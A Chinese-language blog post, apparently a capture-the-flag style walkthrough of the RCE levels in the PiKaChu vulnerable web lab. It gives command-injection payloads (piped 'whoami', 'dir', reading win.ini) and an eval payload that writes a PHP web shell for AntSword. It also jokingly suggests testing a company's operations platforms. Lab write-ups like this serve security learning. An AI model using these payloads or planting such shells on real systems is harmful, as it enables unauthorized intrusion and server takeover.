前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[PiKaChu靶场通关]RCE远程代码执行

[PiKaChu靶场通关]RCE远程代码执行

作者头像
李鹏华
发布2024-03-12 16:14:30
880
发布2024-03-12 16:14:30
举报
文章被收录于专栏:网络信息安全网络信息安全
RCE远程代码执行

一、漏洞介绍

概述

RCE(remote command/code execute)RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-

远程代码执行

同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

二、乱码问题

或者大家可以把靶场部署在linux中,就不会出现乱码了

三、exec “ping”

payload:127.0.0.1 | whoami

payload:127.0.0.1|dir

输入payload:127.0.0.1|type C:\Windows\win.ini

四、exec “eval”

payload:phpinfo();

五、上马上马

payload:fputs(fopen(‘shell.php’,‘w’),’<?php assert($_POST[fin]);?>’);

到本关目录下查看,多了一个马

蚁剑链接一下

查看一下漏洞原因,用户输入没过滤就直接传到eval()函数里面去了

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2024-03-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • RCE远程代码执行
  • 一、漏洞介绍
    • 概述
      • 远程系统命令执行
        • 远程代码执行
        • 二、乱码问题
        • 三、exec “ping”
        • 四、exec “eval”
        • 五、上马上马
        相关产品与服务
        主机安全
        主机安全(Cloud Workload Protection,CWP)基于腾讯安全积累的海量威胁数据,利用机器学习为用户提供资产管理、木马文件查杀、黑客入侵防御、漏洞风险预警及安全基线等安全防护服务,帮助企业构建服务器安全防护体系。现支持用户非腾讯云服务器统一进行安全防护,轻松共享腾讯云端安全情报,让私有数据中心拥有云上同等级别的安全体验。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档